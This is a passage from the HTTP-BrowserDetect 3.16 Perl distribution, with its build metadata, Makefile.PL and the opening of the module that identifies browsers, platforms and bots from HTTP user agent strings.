'@Author::OALDERS/@Git::VersionManager/post-release commit' version: '2.043' - class: Dist::Zilla::Plugin::Prereqs config: Dist::Zilla::Plugin::Prereqs: phase: develop type: suggests name: '@Author::OALDERS/@Git::VersionManager/prereqs for @Git::VersionManager' version: '6.010' - class: Dist::Zilla::Plugin::Git::Push config: Dist::Zilla::Plugin::Git::Push: push_to: - origin remotes_must_exist: 1 Dist::Zilla::Role::Git::Repo: git_version: 2.15.1 repo_root: . name: '@Author::OALDERS/Git::Push' version: '2.043' - class: Dist::Zilla::Plugin::FinderCode name: ':InstallModules' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':IncModules' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':TestFiles' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':ExtraTestFiles' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':ExecFiles' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':PerlExecFiles' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':ShareFiles' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':MainModule' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':AllFiles' version: '6.010' - class: Dist::Zilla::Plugin::FinderCode name: ':NoFiles' version: '6.010' zilla: class: Dist::Zilla::Dist::Builder config: is_trial: '0' version: '6.010' x_contributors: - 'Andrew Moise ' - 'Aran Deltac ' - 'ben hengst ' - 'cho45 ' - 'Daniel Stadie ' - 'David Ihnen ' - 'Douglas Christopher Wilson ' - 'Graham Barr ' - 'Hao Wu ' - 'joatis ' - 'Jon Jensen ' - 'ktat ' - 'lsaunders ' - 'Marco Fontani ' - 'Maros Kollar ' - 'Nicolas Doye ' - 'Olaf Alders ' - 'Olivier Bilodeau ' - 'Paul Findlay ' - 'Perlover ' - 'Ramanan Balakrishnan ' - 'Robin Smidsrød ' - 'Ronald J Kimball ' - 'Surikov Alexey ' - 'Thom Blake ' - 'Uwe ' - 'vti ' - 'yeahoffline ' x_serialization_backend: 'YAML::Tiny version 1.70' HTTP-BrowserDetect-3.16/tidyall.ini000644 000765 000024 00000000470 13214533442 017225 0ustar00olafstaff000000 000000 [JSON] select = t/**/*json [PerlTidy] select = **/*.{pl,pm,t,psgi} ignore = .build/**/* ignore = HTTP-BrowserDetect-*/**/* ignore = blib/**/* ignore = t/00-* ignore = t/author-* ignore = t/release-* ignore = t/zzz-* ignore = xt/**/* argv = --profile=$ROOT/perltidyrc [SortLines::Naturally] select = .gitignore HTTP-BrowserDetect-3.16/lib/000755 000765 000024 00000000000 13214533442 015627 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/Makefile.PL000644 000765 000024 00000003176 13214533442 017042 0ustar00olafstaff000000 000000 # This file was automatically generated by Dist::Zilla::Plugin::MakeMaker v6.010. use strict; use warnings; use 5.006; use ExtUtils::MakeMaker; my %WriteMakefileArgs = ( "ABSTRACT" => "Determine Web browser, version, and platform from an HTTP user agent string", "AUTHOR" => "Lee Semel , Peter Walsham, Olaf Alders (current maintainer)", "CONFIGURE_REQUIRES" => { "ExtUtils::MakeMaker" => 0 }, "DISTNAME" => "HTTP-BrowserDetect", "LICENSE" => "perl", "MIN_PERL_VERSION" => "5.006", "NAME" => "HTTP::BrowserDetect", "PREREQ_PM" => { "strict" => 0, "vars" => 0, "warnings" => 0 }, "TEST_REQUIRES" => { "ExtUtils::MakeMaker" => 0, "File::Spec" => 0, "FindBin" => 0, "JSON::PP" => 0, "List::Util" => "1.49", "Path::Tiny" => 0, "Test::FailWarnings" => 0, "Test::More" => 0, "Test::Most" => 0, "Test::NoWarnings" => 0 }, "VERSION" => "3.16", "test" => { "TESTS" => "t/*.t" } ); my %FallbackPrereqs = ( "ExtUtils::MakeMaker" => 0, "File::Spec" => 0, "FindBin" => 0, "JSON::PP" => 0, "List::Util" => "1.49", "Path::Tiny" => 0, "Test::FailWarnings" => 0, "Test::More" => 0, "Test::Most" => 0, "Test::NoWarnings" => 0, "strict" => 0, "vars" => 0, "warnings" => 0 ); unless ( eval { ExtUtils::MakeMaker->VERSION(6.63_03) } ) { delete $WriteMakefileArgs{TEST_REQUIRES}; delete $WriteMakefileArgs{BUILD_REQUIRES}; $WriteMakefileArgs{PREREQ_PM} = \%FallbackPrereqs; } delete $WriteMakefileArgs{CONFIGURE_REQUIRES} unless eval { ExtUtils::MakeMaker->VERSION(6.52) }; WriteMakefile(%WriteMakefileArgs); HTTP-BrowserDetect-3.16/META.json000644 000765 000024 00000061260 13214533442 016507 0ustar00olafstaff000000 000000 { "abstract" : "Determine Web browser, version, and platform from an HTTP user agent string", "author" : [ "Lee Semel ", "Peter Walsham", "Olaf Alders (current maintainer)" ], "dynamic_config" : 0, "generated_by" : "Dist::Zilla version 6.010, CPAN::Meta::Converter version 2.150010", "license" : [ "perl_5" ], "meta-spec" : { "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec", "version" : 2 }, "name" : "HTTP-BrowserDetect", "no_index" : { "directory" : [ "examples", "t", "xt" ] }, "prereqs" : { "configure" : { "requires" : { "ExtUtils::MakeMaker" : "0" }, "suggests" : { "JSON::PP" : "2.27300" } }, "develop" : { "requires" : { "Test::CPAN::Changes" : "0.19", "Test::Code::TidyAll" : "0.50", "Test::More" : "0.96", "Test::Synopsis" : "0" }, "suggests" : { "Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional" : "0.004", "Dist::Zilla::Plugin::CopyFilesFromRelease" : "0", "Dist::Zilla::Plugin::Git::Commit" : "2.020", "Dist::Zilla::Plugin::Git::Tag" : "0", "Dist::Zilla::Plugin::NextRelease" : "5.033", "Dist::Zilla::Plugin::RewriteVersion::Transitional" : "0.004" } }, "runtime" : { "requires" : { "perl" : "5.006", "strict" : "0", "vars" : "0", "warnings" : "0" } }, "test" : { "recommends" : { "CPAN::Meta" : "2.120900" }, "requires" : { "ExtUtils::MakeMaker" : "0", "File::Spec" : "0", "FindBin" : "0", "JSON::PP" : "0", "List::Util" : "1.49", "Path::Tiny" : "0", "Test::FailWarnings" : "0", "Test::More" : "0", "Test::Most" : "0", "Test::NoWarnings" : "0" } } }, "release_status" : "stable", "resources" : { "bugtracker" : { "web" : "https://github.com/oalders/http-browserdetect/issues" }, "homepage" : "https://github.com/oalders/http-browserdetect", "repository" : { "type" : "git", "url" : "https://github.com/oalders/http-browserdetect.git", "web" : "https://github.com/oalders/http-browserdetect" } }, "version" : "3.16", "x_Dist_Zilla" : { "perl" : { "version" : "5.026000" }, "plugins" : [ { "class" : "Dist::Zilla::Plugin::PromptIfStale", "config" : { "Dist::Zilla::Plugin::PromptIfStale" : { "check_all_plugins" : 0, "check_all_prereqs" : 0, "modules" : [ "Dist::Zilla::PluginBundle::Author::OALDERS" ], "phase" : "build", "run_under_travis" : 0, "skip" : [] } }, "name" : "@Author::OALDERS/stale modules, build", "version" : "0.054" }, { "class" : "Dist::Zilla::Plugin::PromptIfStale", "config" : { "Dist::Zilla::Plugin::PromptIfStale" : { "check_all_plugins" : 1, "check_all_prereqs" : 1, "modules" : [], "phase" : "release", "run_under_travis" : 0, "skip" : [] } }, "name" : "@Author::OALDERS/stale modules, release", "version" : "0.054" }, { "class" : "Dist::Zilla::Plugin::MAXMIND::TidyAll", "name" : "@Author::OALDERS/MAXMIND::TidyAll", "version" : "0.82" }, { "class" : "Dist::Zilla::Plugin::AutoPrereqs", "name" : "@Author::OALDERS/AutoPrereqs", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::CheckChangesHasContent", "name" : "@Author::OALDERS/CheckChangesHasContent", "version" : "0.011" }, { "class" : "Dist::Zilla::Plugin::MakeMaker", "config" : { "Dist::Zilla::Role::TestRunner" : { "default_jobs" : 1 } }, "name" : "@Author::OALDERS/MakeMaker", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::CPANFile", "name" : "@Author::OALDERS/CPANFile", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::ContributorsFile", "name" : "@Author::OALDERS/ContributorsFile", "version" : "0.3.0" }, { "class" : "Dist::Zilla::Plugin::MetaJSON", "name" : "@Author::OALDERS/MetaJSON", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::MetaYAML", "name" : "@Author::OALDERS/MetaYAML", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::Manifest", "name" : "@Author::OALDERS/Manifest", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::MetaNoIndex", "name" : "@Author::OALDERS/MetaNoIndex", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::MetaConfig", "name" : "@Author::OALDERS/MetaConfig", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::MetaResources", "name" : "@Author::OALDERS/MetaResources", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::License", "name" : "@Author::OALDERS/License", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::InstallGuide", "name" : "@Author::OALDERS/InstallGuide", "version" : "1.200007" }, { "class" : "Dist::Zilla::Plugin::Prereqs", "config" : { "Dist::Zilla::Plugin::Prereqs" : { "phase" : "runtime", "type" : "requires" } }, "name" : "@Author::OALDERS/Prereqs", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::ExecDir", "name" : "@Author::OALDERS/ExecDir", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::Test::CPAN::Changes", "config" : { "Dist::Zilla::Plugin::Test::CPAN::Changes" : { "changelog" : "Changes" } }, "name" : "@Author::OALDERS/Test::CPAN::Changes", "version" : "0.012" }, { "class" : "Dist::Zilla::Plugin::TestRelease", "name" : "@Author::OALDERS/TestRelease", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::Test::ReportPrereqs", "name" : "@Author::OALDERS/Test::ReportPrereqs", "version" : "0.027" }, { "class" : "Dist::Zilla::Plugin::Test::Synopsis", "name" : "@Author::OALDERS/Test::Synopsis", "version" : "2.000007" }, { "class" : "Dist::Zilla::Plugin::Test::TidyAll", "name" : "@Author::OALDERS/Test::TidyAll", "version" : "0.04" }, { "class" : "Dist::Zilla::Plugin::RunExtraTests", "config" : { "Dist::Zilla::Role::TestRunner" : { "default_jobs" : 1 } }, "name" : "@Author::OALDERS/RunExtraTests", "version" : "0.029" }, { "class" : "Dist::Zilla::Plugin::PodWeaver", "config" : { "Dist::Zilla::Plugin::PodWeaver" : { "finder" : [ ":InstallModules", ":ExecFiles" ], "plugins" : [ { "class" : "Pod::Weaver::Plugin::EnsurePod5", "name" : "@CorePrep/EnsurePod5", "version" : "4.015" }, { "class" : "Pod::Weaver::Plugin::H1Nester", "name" : "@CorePrep/H1Nester", "version" : "4.015" }, { "class" : "Pod::Weaver::Plugin::SingleEncoding", "name" : "@Default/SingleEncoding", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Name", "name" : "@Default/Name", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Version", "name" : "@Default/Version", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Region", "name" : "@Default/prelude", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Generic", "name" : "SYNOPSIS", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Generic", "name" : "DESCRIPTION", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Generic", "name" : "OVERVIEW", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Collect", "name" : "ATTRIBUTES", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Collect", "name" : "METHODS", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Collect", "name" : "FUNCTIONS", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Leftovers", "name" : "@Default/Leftovers", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Region", "name" : "@Default/postlude", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Authors", "name" : "@Default/Authors", "version" : "4.015" }, { "class" : "Pod::Weaver::Section::Legal", "name" : "@Default/Legal", "version" : "4.015" } ] } }, "name" : "@Author::OALDERS/PodWeaver", "version" : "4.008" }, { "class" : "Dist::Zilla::Plugin::PruneCruft", "name" : "@Author::OALDERS/PruneCruft", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::CopyFilesFromBuild", "name" : "@Author::OALDERS/CopyFilesFromBuild", "version" : "0.170880" }, { "class" : "Dist::Zilla::Plugin::GithubMeta", "name" : "@Author::OALDERS/GithubMeta", "version" : "0.54" }, { "class" : "Dist::Zilla::Plugin::Git::GatherDir", "config" : { "Dist::Zilla::Plugin::GatherDir" : { "exclude_filename" : [ "Install", "LICENSE", "META.json", "Makefile.PL", "README.md", "cpanfile" ], "exclude_match" : [], "follow_symlinks" : 0, "include_dotfiles" : 0, "prefix" : "", "prune_directory" : [], "root" : "." }, "Dist::Zilla::Plugin::Git::GatherDir" : { "include_untracked" : 0 } }, "name" : "@Author::OALDERS/Git::GatherDir", "version" : "2.043" }, { "class" : "Dist::Zilla::Plugin::CopyFilesFromRelease", "config" : { "Dist::Zilla::Plugin::CopyFilesFromRelease" : { "filename" : [ "Install" ], "match" : [] } }, "name" : "@Author::OALDERS/CopyFilesFromRelease", "version" : "0.006" }, { "class" : "Dist::Zilla::Plugin::Git::Check", "config" : { "Dist::Zilla::Plugin::Git::Check" : { "untracked_files" : "die" }, "Dist::Zilla::Role::Git::DirtyFiles" : { "allow_dirty" : [ "Changes", "Install", "LICENSE", "META.json", "Makefile.PL", "README.md", "cpanfile", "dist.ini" ], "allow_dirty_match" : [], "changelog" : "Changes" }, "Dist::Zilla::Role::Git::Repo" : { "git_version" : "2.15.1", "repo_root" : "." } }, "name" : "@Author::OALDERS/Git::Check", "version" : "2.043" }, { "class" : "Dist::Zilla::Plugin::Git::Contributors", "config" : { "Dist::Zilla::Plugin::Git::Contributors" : { "git_version" : "2.15.1", "include_authors" : 0, "include_releaser" : 1, "order_by" : "name", "paths" : [] } }, "name" : "@Author::OALDERS/Git::Contributors", "version" : "0.032" }, { "class" : "Dist::Zilla::Plugin::ReadmeAnyFromPod", "config" : { "Dist::Zilla::Role::FileWatcher" : { "version" : "0.006" } }, "name" : "@Author::OALDERS/ReadmeMdInBuild", "version" : "0.163250" }, { "class" : "Dist::Zilla::Plugin::ShareDir", "name" : "@Author::OALDERS/ShareDir", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::TravisCI::StatusBadge", "name" : "@Author::OALDERS/TravisCI::StatusBadge", "version" : "0.007" }, { "class" : "Dist::Zilla::Plugin::ConfirmRelease", "name" : "@Author::OALDERS/ConfirmRelease", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::UploadToCPAN", "name" : "@Author::OALDERS/UploadToCPAN", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::RewriteVersion::Transitional", "config" : { "Dist::Zilla::Plugin::RewriteVersion" : { "add_tarball_name" : 0, "finders" : [ ":ExecFiles", ":InstallModules" ], "global" : 0, "skip_version_provider" : 0 }, "Dist::Zilla::Plugin::RewriteVersion::Transitional" : {} }, "name" : "@Author::OALDERS/@Git::VersionManager/RewriteVersion::Transitional", "version" : "0.008" }, { "class" : "Dist::Zilla::Plugin::MetaProvides::Update", "name" : "@Author::OALDERS/@Git::VersionManager/MetaProvides::Update", "version" : "0.003" }, { "class" : "Dist::Zilla::Plugin::CopyFilesFromRelease", "config" : { "Dist::Zilla::Plugin::CopyFilesFromRelease" : { "filename" : [ "Changes" ], "match" : [] } }, "name" : "@Author::OALDERS/@Git::VersionManager/CopyFilesFromRelease", "version" : "0.006" }, { "class" : "Dist::Zilla::Plugin::Git::Commit", "config" : { "Dist::Zilla::Plugin::Git::Commit" : { "add_files_in" : [], "commit_msg" : "v%v%n%n%c" }, "Dist::Zilla::Role::Git::DirtyFiles" : { "allow_dirty" : [ "Changes", "Install", "LICENSE", "META.json", "Makefile.PL", "README.md", "cpanfile", "dist.ini" ], "allow_dirty_match" : [], "changelog" : "Changes" }, "Dist::Zilla::Role::Git::Repo" : { "git_version" : "2.15.1", "repo_root" : "." }, "Dist::Zilla::Role::Git::StringFormatter" : { "time_zone" : "local" } }, "name" : "@Author::OALDERS/@Git::VersionManager/release snapshot", "version" : "2.043" }, { "class" : "Dist::Zilla::Plugin::Git::Tag", "config" : { "Dist::Zilla::Plugin::Git::Tag" : { "branch" : null, "changelog" : "Changes", "signed" : 0, "tag" : "v3.16", "tag_format" : "v%v", "tag_message" : "v%v" }, "Dist::Zilla::Role::Git::Repo" : { "git_version" : "2.15.1", "repo_root" : "." }, "Dist::Zilla::Role::Git::StringFormatter" : { "time_zone" : "local" } }, "name" : "@Author::OALDERS/@Git::VersionManager/Git::Tag", "version" : "2.043" }, { "class" : "Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional", "config" : { "Dist::Zilla::Plugin::BumpVersionAfterRelease" : { "finders" : [ ":ExecFiles", ":InstallModules" ], "global" : 0, "munge_makefile_pl" : 1 }, "Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional" : {} }, "name" : "@Author::OALDERS/@Git::VersionManager/BumpVersionAfterRelease::Transitional", "version" : "0.008" }, { "class" : "Dist::Zilla::Plugin::NextRelease", "name" : "@Author::OALDERS/@Git::VersionManager/NextRelease", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::Git::Commit", "config" : { "Dist::Zilla::Plugin::Git::Commit" : { "add_files_in" : [], "commit_msg" : "increment $VERSION after %v release" }, "Dist::Zilla::Role::Git::DirtyFiles" : { "allow_dirty" : [ "Build.PL", "Changes", "Makefile.PL" ], "allow_dirty_match" : [ "(?^:^lib/.*\\.pm$)" ], "changelog" : "Changes" }, "Dist::Zilla::Role::Git::Repo" : { "git_version" : "2.15.1", "repo_root" : "." }, "Dist::Zilla::Role::Git::StringFormatter" : { "time_zone" : "local" } }, "name" : "@Author::OALDERS/@Git::VersionManager/post-release commit", "version" : "2.043" }, { "class" : "Dist::Zilla::Plugin::Prereqs", "config" : { "Dist::Zilla::Plugin::Prereqs" : { "phase" : "develop", "type" : "suggests" } }, "name" : "@Author::OALDERS/@Git::VersionManager/prereqs for @Git::VersionManager", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::Git::Push", "config" : { "Dist::Zilla::Plugin::Git::Push" : { "push_to" : [ "origin" ], "remotes_must_exist" : 1 }, "Dist::Zilla::Role::Git::Repo" : { "git_version" : "2.15.1", "repo_root" : "." } }, "name" : "@Author::OALDERS/Git::Push", "version" : "2.043" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":InstallModules", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":IncModules", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":TestFiles", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":ExtraTestFiles", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":ExecFiles", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":PerlExecFiles", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":ShareFiles", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":MainModule", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":AllFiles", "version" : "6.010" }, { "class" : "Dist::Zilla::Plugin::FinderCode", "name" : ":NoFiles", "version" : "6.010" } ], "zilla" : { "class" : "Dist::Zilla::Dist::Builder", "config" : { "is_trial" : 0 }, "version" : "6.010" } }, "x_contributors" : [ "Andrew Moise ", "Aran Deltac ", "ben hengst ", "cho45 ", "Daniel Stadie ", "David Ihnen ", "Douglas Christopher Wilson ", "Graham Barr ", "Hao Wu ", "joatis ", "Jon Jensen ", "ktat ", "lsaunders ", "Marco Fontani ", "Maros Kollar ", "Nicolas Doye ", "Olaf Alders ", "Olivier Bilodeau ", "Paul Findlay ", "Perlover ", "Ramanan Balakrishnan ", "Robin Smidsr\u00f8d ", "Ronald J Kimball ", "Surikov Alexey ", "Thom Blake ", "Uwe ", "vti ", "yeahoffline " ], "x_serialization_backend" : "Cpanel::JSON::XS version 3.0233" } HTTP-BrowserDetect-3.16/dist.ini000644 000765 000024 00000000611 13214533442 016523 0ustar00olafstaff000000 000000 name = HTTP-BrowserDetect author = Lee Semel author = Peter Walsham author = Olaf Alders (current maintainer) license = Perl_5 copyright_holder = Lee Semel copyright_year = 2017 main_module = lib/HTTP/BrowserDetect.pm [@Author::OALDERS] -remove = MinimumPerl -remove = Test::Perl::Critic -remove = Test::PodSpelling -remove = PodCoverageTests HTTP-BrowserDetect-3.16/lib/HTTP/000755 000765 000024 00000000000 13214533442 016406 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/lib/HTTP/BrowserDetect.pm000755 000765 000024 00000322351 13214533442 021531 0ustar00olafstaff000000 000000 use strict; use warnings; use 5.006; package HTTP::BrowserDetect; our $VERSION = '3.16'; use vars qw(@ALL_TESTS); # Operating Systems our @OS_TESTS = qw( windows mac os2 unix linux vms bsd amiga brew bb10 rimtabletos chromeos ios firefoxos ); # More precise Windows our @WINDOWS_TESTS = qw( win16 win3x win31 win95 win98 winnt winme win32 win2k winxp win2k3 winvista win7 win8 win8_0 win8_1 win10 win10_0 wince winphone winphone7 winphone7_5 winphone8 winphone8_1 winphone10 ); # More precise Mac our @MAC_TESTS = qw( macosx mac68k macppc ); # More precise Unix our @UNIX_TESTS = qw( sun sun4 sun5 suni86 irix irix5 irix6 hpux hpux9 hpux10 aix aix1 aix2 aix3 aix4 sco unixware mpras reliant dec sinix ); # More precise BSDs our @BSD_TESTS = qw( freebsd ); # Gaming devices our @GAMING_TESTS = qw( ps3gameos pspgameos ); # Device related tests our @DEVICE_TESTS = qw( android audrey blackberry dsi iopener ipad iphone ipod kindle kindlefire n3ds palm ps3 psp wap webos mobile tablet ); # Browsers our @BROWSER_TESTS = qw( mosaic netscape firefox chrome safari ie opera lynx links elinks neoplanet neoplanet2 avantgo emacs mozilla konqueror realplayer netfront mobile_safari obigo aol lotusnotes staroffice icab webtv browsex silk applecoremedia galeon seamonkey epiphany ucbrowser dalvik edge pubsub adm brave imagesearcherpro polaris ); our @IE_TESTS = qw( ie3 ie4 ie4up ie5 ie5up ie55 ie55up ie6 ie7 ie8 ie9 ie10 ie11 ie_compat_mode ); our @OPERA_TESTS = qw( opera3 opera4 opera5 opera6 opera7 ); our @AOL_TESTS = qw( aol3 aol4 aol5 aol6 ); our @NETSCAPE_TESTS = qw( nav2 nav3 nav4 nav4up nav45 nav45up nav6 nav6up navgold ); # Firefox variants our @FIREFOX_TESTS = qw( firebird iceweasel phoenix namoroka ); # Engine tests our @ENGINE_TESTS = qw( gecko trident webkit presto khtml edgehtml ); # These bot names get turned into methods. Crazy, right? (I don't even think # this is documented anymore.) We'll leave this in place for back compat, but # we won't add any new methods moving forward. my @OLD_ROBOT_TESTS = qw( ahrefs altavista apache askjeeves baidu bingbot curl facebook getright golib google googleadsbot googleadsense googlebotimage googlebotnews googlebotvideo googlefavicon googlemobile indy infoseek ipsagent java linkchecker linkexchange lwp lycos malware mj12bot msn msnmobile msoffice nutch phplib puf rubylib slurp specialarchiver wget yahoo yandex yandeximages ); our @ROBOT_TESTS = ( [ 'Applebot', 'apple' ], [ 'baiduspider', 'baidu' ], [ 'bitlybot', 'bitly' ], [ 'developers.google.com//web/snippet', 'google-plus-snippet' ], [ 'Discordbot', 'discordbot' ], [ 'embedly', 'embedly' ], [ 'facebookexternalhit', 'facebook' ], [ 'flipboard', 'flipboard' ], [ 'Google Page Speed', 'google-page-speed' ], [ 'linkedinbot', 'linkedin' ], [ 'nuzzel', 'nuzzel' ], [ 'outbrain', 'outbrain' ], [ 'pinterest/0.', 'pinterest' ], [ 'pinterestbot', 'pinterest' ], [ 'Pro-Sitemaps', 'pro-sitemaps' ], [ 'quora link preview', 'quora-link-preview' ], [ 'Qwantify', 'qwantify' ], [ 'redditbot', 'reddit', ], [ 'rogerbot', 'rogerbot' ], [ 'ShowyouBot', 'showyou' ], [ 'SkypeUriPreview', 'skype-uri-preview' ], [ 'slackbot', 'slack' ], [ 'Swiftbot', 'swiftbot' ], [ 'tumblr', 'tumblr' ], [ 'twitterbot', 'twitter' ], [ 'vkShare', 'vkshare' ], [ 'W3C_Validator', 'w3c-validator' ], [ 'WhatsApp', 'whatsapp' ], ); our @MISC_TESTS = qw( dotnet x11 ); push @ALL_TESTS, ( @OS_TESTS, @WINDOWS_TESTS, @MAC_TESTS, @UNIX_TESTS, @BSD_TESTS, @GAMING_TESTS, @DEVICE_TESTS, @BROWSER_TESTS, @IE_TESTS, @OPERA_TESTS, @AOL_TESTS, @NETSCAPE_TESTS, @FIREFOX_TESTS, @ENGINE_TESTS, @OLD_ROBOT_TESTS, @MISC_TESTS, ); # https://support.google.com/webmasters/answer/1061943?hl=en my %ROBOT_NAMES = ( ahrefs => 'Ahrefs', altavista => 'AltaVista', 'apache-http-client' => 'Apache HttpClient', apple => 'Apple', 'archive-org' => 'Internet Archive', askjeeves => 'AskJeeves', baidu => 'Baidu', baiduspider => 'Baidu Spider', bingbot => 'Bingbot', bitly => 'Bitly', curl => 'curl', discordbot => 'Discord', embedly => 'Embedly', facebook => 'Facebook', facebookexternalhit => 'Facebook', flipboard => 'Flipboard', getright => 'GetRight', golib => 'Go language http library', google => 'Googlebot', 'google-adsbot' => 'Google AdsBot', 'google-adsense' => 'Google AdSense', 'googlebot' => 'Googlebot', 'googlebot-image' => 'Googlebot Images', 'googlebot-mobile' => 'Googlebot Mobile', 'googlebot-news' => 'Googlebot News', 'googlebot-video' => 'Googlebot Video', 'google-favicon' => 'Google Favicon', 'google-mobile' => 'Googlebot Mobile', 'google-page-speed' => 'Google Page Speed', 'google-plus-snippet' => 'Google+ Snippet', 'indy-library' => 'Indy Library', infoseek => 'InfoSeek', java => 'Java', 'libwww-perl' => 'LWP::UserAgent', linkchecker => 'LinkChecker', linkedin => 'LinkedIn', linkexchange => 'LinkExchange', lycos => 'Lycos', malware => 'Malware / hack attempt', 'microsoft-office' => 'Microsoft Office', mj12bot => 'Majestic-12 DSearch', msn => 'MSN', 'msn-mobile' => 'MSN Mobile', nutch => 'Apache Nutch', nuzzel => 'Nuzzel', outbrain => 'Outbrain', phplib => 'PHP http library', pinterest => 'Pinterest', 'pro-sitemaps' => 'Pro Sitemap Service', puf => 'puf', 'quora-link-preview' => 'Quora Link Preview', qwantify => 'Qwantify', reddit => 'Reddit', robot => 'robot', rogerbot => 'Moz', 'ruby-http-library' => 'Ruby http library', showyou => 'Showyou', 'skype-uri-preview' => 'Skype URI Preview', slack => 'slack', swiftbot => 'Swiftbot', tumblr => 'Tumblr', twitter => 'Twitter', unknown => 'Unknown Bot', 'verisign-ips-agent' => 'Verisign ips-agent', vkshare => 'VK Share', 'w3c-validator' => 'W3C Validator', wget => 'Wget', whatsapp => 'WhatsApp', yahoo => 'Yahoo', 'yahoo-slurp' => 'Yahoo! Slurp', yandex => 'Yandex', 'yandex-images' => 'YandexImages', ); my %ROBOT_IDS = ( ahrefs => 'ahrefs', altavista => 'altavista', apache => 'apache-http-client', askjeeves => 'askjeeves', baidu => 'baidu', baiduspider => 'baidu', bingbot => 'bingbot', curl => 'curl', facebook => 'facebook', getright => 'getright', golib => 'golib', google => 'googlebot', googleadsbot => 'google-adsbot', googleadsense => 'google-adsense', googlebotimage => 'googlebot-image', googlebotnews => 'googlebot-news', googlebotvideo => 'googlebot-video', googlefavicon => 'google-favicon', googlemobile => 'googlebot-mobile', indy => 'indy-library', infoseek => 'infoseek', ipsagent => 'verisign-ips-agent', java => 'java', linkchecker => 'linkchecker', linkexchange => 'linkexchange', lwp => 'libwww-perl', lycos => 'lycos', malware => 'malware', mj12bot => 'mj12bot', msn => 'msn', msnmobile => 'msn-mobile', msoffice => 'microsoft-office', nutch => 'nutch', phplib => 'phplib', puf => 'puf', robot => 'robot', rubylib => 'ruby-http-library', slurp => 'yahoo-slurp', specialarchiver => 'archive-org', wget => 'wget', yahoo => 'yahoo', yandex => 'yandex', yandeximages => 'yandex-images', ); my %BROWSER_NAMES = ( adm => 'Android Download Manager', aol => 'AOL Browser', applecoremedia => 'AppleCoreMedia', blackberry => 'BlackBerry', brave => 'Brave', browsex => 'BrowseX', chrome => 'Chrome', curl => 'curl', dalvik => 'Dalvik', dsi => 'Nintendo DSi', edge => 'Edge', elinks => 'ELinks', epiphany => 'Epiphany', firefox => 'Firefox', galeon => 'Galeon', icab => 'iCab', iceweasel => 'IceWeasel', ie => 'MSIE', imagesearcherpro => 'ImageSearcherPro', konqueror => 'Konqueror', links => 'Links', lotusnotes => 'Lotus Notes', lynx => 'Lynx', mobile_safari => 'Mobile Safari', mosaic => 'Mosaic', mozilla => 'Mozilla', n3ds => 'Nintendo 3DS', netfront => 'NetFront', netscape => 'Netscape', obigo => 'Obigo', opera => 'Opera', polaris => 'Polaris', pubsub => 'Safari RSS Reader', puf => 'puf', realplayer => 'RealPlayer', safari => 'Safari', seamonkey => 'SeaMonkey', silk => 'Silk', staroffice => 'StarOffice', ucbrowser => 'UCBrowser', webtv => 'WebTV', ); # Device names my %DEVICE_NAMES = ( android => 'Android', audrey => 'Audrey', blackberry => 'BlackBerry', dsi => 'Nintendo DSi', iopener => 'iopener', ipad => 'iPad', iphone => 'iPhone', ipod => 'iPod', kindle => 'Amazon Kindle', n3ds => 'Nintendo 3DS', palm => 'Palm', ps3 => 'Sony PlayStation 3', psp => 'Sony PlayStation Portable', wap => 'WAP capable phone', webos => 'webOS', ); my %OS_NAMES = ( amiga => 'Amiga', android => 'Android', bb10 => 'BlackBerry 10', brew => 'Brew', chromeos => 'Chrome OS', firefoxos => 